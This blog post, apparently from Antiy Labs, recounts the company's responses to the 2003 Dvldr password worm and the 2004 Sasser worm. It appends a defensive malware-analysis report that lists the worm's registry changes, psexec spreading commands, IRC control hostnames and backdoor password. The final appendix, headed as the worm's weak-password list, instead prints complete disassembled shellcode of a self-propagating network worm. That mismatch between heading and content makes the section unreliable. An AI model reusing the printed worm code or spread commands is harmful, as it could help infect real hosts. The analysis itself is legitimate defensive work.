应急之魂-时间与人的故事(续)

Sina WeiboBaiduLinkedInQQGoogle+RedditEvernote分享




2)2003年3月8日,口令蠕虫

这是两台笨重、老旧的刀片服务器,也是VDS网络病毒监控系统的雏形,2002年12月18日起,他们就悄然的运行于中国教育科研网黑龙江主节点,并由哈工大-安天联合CERT小组进行值守。

2003年3月8日正是这两台设备发出了针对口令蠕虫的最早预警。

8时15分,445端口扫描数量突增和PE文件传输数量的异常增长,引发了正在观测VDS系统的反病毒引擎组组长李柏松的注意,30分钟后,他在用户单位的配合下,提取了最早的病毒样本。分析结果很快产生,这是一个基于口令破解进行远程投放的蠕虫,发包能力极强,同时遗留了一个带有密码的后门。

事态严重,9时整,安天工程师拨通了CNCERT/CC的值班电话,CNCERT要求安天做出进一步的分析响应处理,并提供病毒感染程度的普查手段。

[李柏松]:我们接到任务后立即讨论,确立方案,决定就利用这个蠕虫遗留的VNC后门密码作为扫描判定条件,VNC是采用3DES的算法,我们很快找到了密钥,从密文还原出了明文密码是sticks。之后我们为安管中心开发了轻载扫描程序,启动了多台服务器,每台开放2048个线程进行并发轻载扫描验证。

此时,病毒仍在多所大学肆虐,安天CERT收到了多个大学网管中心的求助,为了快速的遏制大量无管理主机,安天开发了一套远程投放的疫苗,并由多所大学的网络中心向校内无管理主机进行了投放,扑灭了校园网的多处疫情。

此后的三周内,安天承担了配合有关部门检测病毒来源的艰苦排查工作,确定了该病毒全球最早传播的时间为凌晨2:20分,确定了中国第一个被感染的节点位于东北农业大学,最终依据大量事实作出了病毒源于境外某地的结论。


3)2004年5月1日,震荡波
这是一面最简陋的电视墙,安天工程师用若干老旧显示器,拼接成了这套综合疫情显示系统,但这里不断刷新的大量数据、列表、图表、曲线、以及病毒地理信息正是安天应急处理体系的神经中枢。

这张中国病毒疫情分布图,抓取于2004年5月1日凌晨,深红色的大面积分布说说明了震荡波病毒的严重程度。

当时安天CERT已经成为了一支疲惫之师,之前的大量分析任务,让他们连续超负荷运转十多天。除了加班值守的干部,多数工程师正在放假回家的旅程中。

[肖新光:]之前一周安天CERT分析了大量的样本,非常疲惫,是希望大家好好休整的,但到1日下午3点,我不得不做出紧急召回主要骨干的决定.

5月1日深夜,在完成了分析报告、专杀程序、应急处理预案后一个大胆的猜测在关联分析中形成了——即震荡波病毒与此前已经流行数月的网络天空病毒作者相同,尽管他们一个依靠漏洞传播、一个依靠邮件传播。5月2日安天找到了可靠的证据来证实自己的观点,并进一步判断作者位于德国。5月6日,病毒作者在德国被捕,安天的判断得到了证实。


附口令蠕虫分析报告:

哈工大——安天联合Cert小组

紧急蠕虫Worm.Dvldr事态分析报告

首次发布时间:2003-03-08 17:20

最近更新时间:2003-03-10 12:28

最后更新次数:第14次

一、    基本情况说明

2003年3月8日,哈工大–安天联合CERT小组,在位于中国电信、中国教育网的多个监控节点均发现网络异常,网络速度非常缓慢,特别是教育网内非常严重,异常表现如下

1、监控节点监控到若干个节点对大量目标地址发送端口为TCP 445的包。

2、每一个异常节点向连续的IP地址发包。

在第一批次锁定了7台问题主机后,经过反向检测,初步发现发包机器有如下共性

1、系统为Windows 系统。

2、系统开放了AT&T VNC远程管理的5800和5900端口。

3、系统超级用户管理员密码为空。

我们及时与多台目标主机管理人员联系,并进行了系统取证。

初步检测结果如下:

通过Antiy Port 1.2观测——system目录下,一个名为dvldr32.exe的可执行程序,发出大量目标端口为445的数据包。目标IP为连续IP地址。

%windir%/fonts目录下一个名为RUNdll32.exe的程序,也由网络行为。

另外发现若干异常文件和异常注册表键值:

当前态势——目前,受到影响比较严重的是教育网,部分院校网络接近瘫痪。(截至到2003年3月9日14:00,对骨干网络速度也有一定影响)

二、    分析报告

系统分析*可能的异常文件列表:

说明:

*:由于传播机理问题,dvldr32.exe可能投送失败,不出现在目标主机中。如果Dvldr32.exe投送失败,则psexec.exe不会出现。

**:这不是一个恶意程序,一些其他的移植自UNIX平台的程序可能使用本连接库。

***只有在英文系统下才会出现。

****不是必然出现。

系统分析*可能的注册表修改:

REGEDIT4

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]

“TaskMan”=”C:\\WINNT\\Fonts\\rundll32.exe”

“Explorer”=”C:\\WINNT\\Fonts\\explorer.exe”*

“messnger”=”C:\\WINNT\\system32\\Dvldr32.exe”**

[HKEY_CURRENT_USER\Software\ORL]

[HKEY_CURRENT_USER\Software\ORL\WinVNC3]

“SocketConnect”=dword:00000001

“AutoPortSelect”=dword:00000001

“InputsEnabled”=dword:00000001

“LocalInputsDisabled”=dword:00000000

“IdleTimeout”=dword:00000000

“QuerySetting”=dword:00000002

“QueryTimeout”=dword:0000000a

“Password”=hex:[此处我们做了屏蔽]***

“PollUnderCursor”=dword:00000001

“PollForeground”=dword:00000001

“PollFullScreen”=dword:00000001

“OnlyPollConsole”=dword:00000001

“OnlyPollOnEvent”=dword:00000001

[HKEY_CURRENT_USER\Software\ORL\VNCHooks]

[HKEY_CURRENT_USER\Software\ORL\VNCHooks\Application_Prefs]

[HKEY_CURRENT_USER\Software\ORL\VNCHooks\Application_Prefs\EXPLORER.EXE]

说明:

*由于此文件由一个不常见的安装工具制作的安装包释放,对这个工具我们还没有完全分析完毕,但我们发现有的感染系统此键值有所不同。

**如果Dvldr32.exe投送失败,此健值不会出现

***VNC使用3DES加密,我们已经破解了密码,但是为了避免恶意行为,我们对此作了屏蔽。

系统分析*后门:

该程序将正常系统管理工作VNC作为后门,安装到用户系统下,通过修改配置,使VNC SERVER图标不在托盘中出现,不过由于VNC在系统锁定状态下不能连接,因此功能有所折扣。

但由于该蠕虫有通知机制(见“程序分析*功能分析”部分),即使VNC实效,等于已经告知了蠕虫作者,用户密码为空,或者在小字典档(见文末附录“蠕虫用于穷举的弱口令列表”)内。仍然可以导致入侵。

程序分析*基本说明

dvldr32.exe,采用ASPASK压缩,该程序由MS VC 6.0编写。

该文件中以资源的形势,包含了2个可执行文件,其中一个为sysinternals所发布的著名行命令网络工具psexec(psexec本身包含一个名为psexesvc的程序,此前版本分析报告有误),蠕虫的制作者使用了最新版本的psexec.exe(Ver 1.31.0.0),但采用了UPX进行压缩,使文件大小从122,880字节缩小到了36,352字节。

以下引号中斜体部分为,原来版本错误地说明:

“3个可执行程序,其中两个2个为:sysinternals所发布的行命令工具,分别是:psexesvc和Remote process launcher。从作者的意图上看,这两个工具并不希望保留在文件系统中,主要是留给dvldr32.exe自己调用。”

另外一个程序为一个不常见安装工具所制作的安装包,该安装包中包括5个文件,其中3个文件(explorer.exe;VNCHooks.dll;omnithread_rt.dll)属于AT&T所发布的网管工具VNC, nc的3.3.3.9版本)。另外两个文件则是,rundll32.exe、cygwin1.dll。其中cygwin1.dll由red hat发布,名称是Cygwin® POSIX Emulation DLL。用以对Linux移植到Windows下的程序进行支持。

文件之间调用关系如下:

explorer.exe

├VNCHooks.dll

└omnithread_rt.dll

rundll32.exe

└cygwin1.dll

我们可以看出,对于explorer.exe;VNCHooks.dll;omnithread_rt.dll由于是VNC的一部分,已经无需分析,而网络上对于sysinternals的psexesvc和Remote process launcher的使用介绍也已经很多。cygwin1.dll是一个正常的动态连接库也无须分析。主要应该分析的是dvldr32.exe的执行部分和rundll32.exe。

程序分析*功能分析

dvldr32.exe:

分析样本: Dvldr32.exe (745,984 bytes )  2003-3-7 2:20

压缩方法: aspack

还原样本:Dvldr32(unpacked).ExE ( 802,816 bytes)

相关程序: ps_exec.exe (122,880 bytes)

分析工具: IDA、OllyDebug

程序流程:

WinMain Begin

call    sub_40225A      ; 设置当前目录为启动文件夹

call    sub_4021ED      ; 对于2K/XP系统启动WSA

test    eax, eax

jnz     short loc_402018 ; 成功,转

…                                ;

ret

WinMain End

loc_402018:

call    sub_401F77      ; 分配内存

call    sub_4022E3      ; 加载Netapi32_dll

call    sub_4022B4      ; 建立互斥体,防止重复运行

call    sub_402334      ; 将自身写入注册表Software\Microsoft\Windows\CurrentVersion\Run项

loc_402039:

call    sub_402100      ; 建立/启动扫描线程

jmp     short loc_402039 ; 死循环

线程loc_4028A0:

扫描随机生成的ip段,试图连接;

两个扫描线程分别Sleep 600000. ms 、100.ms;

连接成功,执行 psexec.exe %s -u %s -p “” -d attrib.exe -r inst.exe 将目标文件只读属性去掉;

再执行psexec.exe %s -u %s -p “” -f -c -d inst.exe” 将本地程序复制到远程主机。

该程序运行后,会随机选择2个IP段,连接对方445的网络包,一旦连接成功,则用自身一份字典列表(见文末附录“蠕虫用于穷举的弱口令列表”)穷举对方超级用户口令,一旦破解成功,则将自身复制到目标系统中。

这个程序除了主要来实施发包进行网络感染操作。其大量的发包,也是造成网络瘫痪的主要原因。

感染操作需要特别说明一下,这个程序远程投送两个文件其自身和inst.exe,其提供了两种投送方式,一种是通过psexec命令,一种是通过网络共享copy。通过,psexec命令,可以完成文件copy和在远程主机的执行,但有可能投送失败。其对inst.exe还通过网络路径copy到英文windows的启动组下,使开机被执行,因此,inst.exe投送的成功率要比dvldr32.exe更高。这就造成几种情况,从而导致对目标系统的影响有所不同。在此前版本分析报告中对此的说明不够清晰。

一些感染的主机,只发现了rundll32.exe而没有发现dvldr32.exe正是上述原因。

rundll32.exe不是正常的MS系统的RUNDLL32,似乎为一个LINUX移植到WINDOWS平台的程序,目前已经可以分析出该程序的主要功能是,向一个irc列表汇报已经感染主机的信息。

IRC列表如下:

cocket.nailed.org

cocket.mooo.com

cocket.bounceme.net

cocket.phathookups.com

cocket.gotdns.com

cocket.ma.cx

cocket.orgdns.org

cocket.minidns.net

cocket.dyn.nicolas.cx

cocket.dynup.net

cocket.pokemonfan.org

cocket.staticcling.org

cocket.getmyip.com

用户处理*手工处理

NT/2K用户应该为Administrator设置一个强壮的密码,至少不能在蠕虫的密码档(见文末附录“蠕虫用于穷举的弱口令列表”)中,之后采用AntiyPort

http://www.antiy.com/service/antiyports.exe

或其他进程管理工具,找到以下三个进程:

%windir%system32/dvldr32.exe

%windir%/fonts/rundll32.exe

%windir%/fonts/explorer.exe

中止对应的三个进程,之后删除掉“系统分析*文件列表”中的所有对应文件,最后重新启动机器。

用户处理*专杀工具

即使采用专杀工具,也需要首先为Administrator设置一个强壮的密码。否则再次被其他感染节点扫描时,仍然会被感染。

哈工大——安天联合Cert小组已经发布Worm.DvLdr免费专杀工具1.001版,

中文版:http://www.antiy.com/cert/killdvldr.exe

英文版:http://www.antiy.net/download/killdvldr.exe

网络管理对策:

如下情况表明网络用户已经被感染,

大量的目标端口为TCP 445的通讯,或者目标地址在上述列表内的mIRC通讯,(目标端口6667)。

网管可以在路由或者防火墙上,双向关闭445端口,以临时避免内网被感染,或者内网感染的主机对外传播。

网管确定目标后,可以到目标上通过我们提供的专杀工具处理。

如果网管由于特殊原因不能在问题主机本地处理,可以使用Worm.DvLdr免费专杀工具特别版本。这是一个无需用户点确认就直接处理的版本。网管可以自己参考我们上面介绍的这个蠕虫的投送方式,对自己管理范围内的机器投送杀毒程序。我们自己不能提供投送手段,否则会被不法分子利用。

特别提醒用户:无论动机如何,必须合法的使用网络资源。出于善意,为不在自己管辖权力范围的内主机清除病毒,也不能称为合法行为。

特别版:http://www.antiy.com/cert/rkilldvldr.exe

进一步响应消息:

我小组将继续关注态势进展,在www.Antiy.com上发布更加详细的代码分析报告。

安天实验室已经在北京时间2003年3月9日上午10点更新Antiy Ghostbusters病毒库升级文件包。

http://www.antiy.net/ghostbusters/agb_base.msp

用户可以直接下载,或者通过Antiy Live在线升级。

所有Antiy Ghostbusters捉鬼队用户,可以下载此单独库文件

http://www.antiy.com/update/ex.gbl

(默认路径为:C:\Program Files\Antiy Labs\Antiy Ghostbusters)覆盖同名病毒库文件,就可以检测此蠕虫。

结合专杀工具,能够取得更好效果。

 

 

附:口令蠕虫用于穷举的弱口令列表:

by Antiy Labs Cert

:00000000 68DCC9B042              push 42B0C9DC

:00000005 B801010101              mov eax, 01010101

:0000000A 31C9                    xor ecx, ecx

:0000000C B118                    mov cl, 18

:0000000E 50                      push eax

:0000000F E2FD                    loop 0000000E

:00000011 3501010105              xor eax, 05010101

:00000016 50                      push eax

:00000017 89E5                    mov ebp, esp

:00000019 51                      push ecx

:0000001A 682E646C6C              push 6C6C642E

:0000001F 68656C3332              push 32336C65

:00000024 686B65726E              push 6E72656B

:00000029 51                      push ecx

:0000002A 686F756E74              push 746E756F

:0000002F 6869636B43              push 436B6369

:00000034 6847657454              push 54746547

:00000039 66B96C6C                mov cx, 6C6C

:0000003D 51                      push ecx

:0000003E 6833322E64              push 642E3233

:00000043 687773325F              push 5F327377

:00000048 66B96574                mov cx, 7465

:0000004C 51                      push ecx

:0000004D 68736F636B              push 6B636F73

:00000052 66B9746F                mov cx, 6F74

:00000056 51                      push ecx

:00000057 6873656E64              push 646E6573

:0000005C BE1810AE42              mov esi, 42AE1018

:00000061 8D45D4                  lea eax, dword ptr [ebp-2C]

:00000064 50                      push eax

:00000065 FF16                    call dword ptr [esi]

:00000067 50                      push eax

:00000068 8D45E0                  lea eax, dword ptr [ebp-20]

:0000006B 50                      push eax

:0000006C 8D45F0                  lea eax, dword ptr [ebp-10]

:0000006F 50                      push eax

:00000070 FF16                    call dword ptr [esi]

:00000072 50                      push eax

:00000073 BE1010AE42              mov esi, 42AE1010

:00000078 8B1E                    mov ebx, dword ptr [esi]

:0000007A 8B03                    mov eax, dword ptr [ebx]

:0000007C 3D558BEC51              cmp eax, 51EC8B55

:00000081 7405                    je 00000088

:00000083 BE1C10AE42              mov esi, 42AE101C

:00000088 FF16                    call dword ptr [esi]

:0000008A FFD0                    call eax

:0000008C 31C9                    xor ecx, ecx

:0000008E 51                      push ecx

:0000008F 51                      push ecx

:00000090 50                      push eax

:00000091 81F10301049B            xor ecx, 9B040103

:00000097 81F101010101            xor ecx, 01010101

:0000009D 51                      push ecx

:0000009E 8D45CC                  lea eax, dword ptr [ebp-34]

:000000A1 50                      push eax

:000000A2 8B45C0                  mov eax, dword ptr [ebp-40]

:000000A5 50                      push eax

:000000A6 FF16                    call dword ptr [esi]

:000000A8 6A11                    push 00000011

:000000AA 6A02                    push 00000002

:000000AC 6A02                    push 00000002

:000000AE FFD0                    call eax

:000000B0 50                      push eax

:000000B1 8D45C4                  lea eax, dword ptr [ebp-3C]

:000000B4 50                      push eax

:000000B5 8B45C0                  mov eax, dword ptr [ebp-40]

:000000B8 50                      push eax

:000000B9 FF16                    call dword ptr [esi]

:000000BB 89C6                    mov esi, eax

:000000BD 09DB                    or ebx, ebx

:000000BF 81F33C61D9FF            xor ebx, FFD9613C

:000000C5 8B45B4                  mov eax, dword ptr [ebp-4C]

:000000C8 8D0C40                  lea ecx, dword ptr [eax+2*eax]

:000000CB 8D1488                  lea edx, dword ptr [eax+4*ecx]

:000000CE C1E204                  shl edx, 04

:000000D1 01C2                    add edx, eax

:000000D3 C1E208                  shl edx, 08

:000000D6 29C2                    sub edx, eax

:000000D8 8D0490                  lea eax, dword ptr [eax+4*edx]

:000000DB 01D8                    add eax, ebx

:000000DD 8945B4                  mov dword ptr [ebp-4C], eax

:000000E0 6A10                    push 00000010

:000000E2 8D45B0                  lea eax, dword ptr [ebp-50]

:000000E5 50                      push eax

:000000E6 31C9                    xor ecx, ecx

:000000E8 51                      push ecx

:000000E9 6681F17801              xor cx, 0178

:000000EE 51                      push ecx

:000000EF 8D4503                  lea eax, dword ptr [ebp+03]

:000000F2 50                      push eax

:000000F3 8B45AC                  mov eax, dword ptr [ebp-54]

:000000F6 50                      push eax

:000000F7 FFD6                    call esi

:000000F9 EBCA                    jmp 000000C5

(1个打分, 平均:5.00 / 5)

雁过留声

Comments are closed.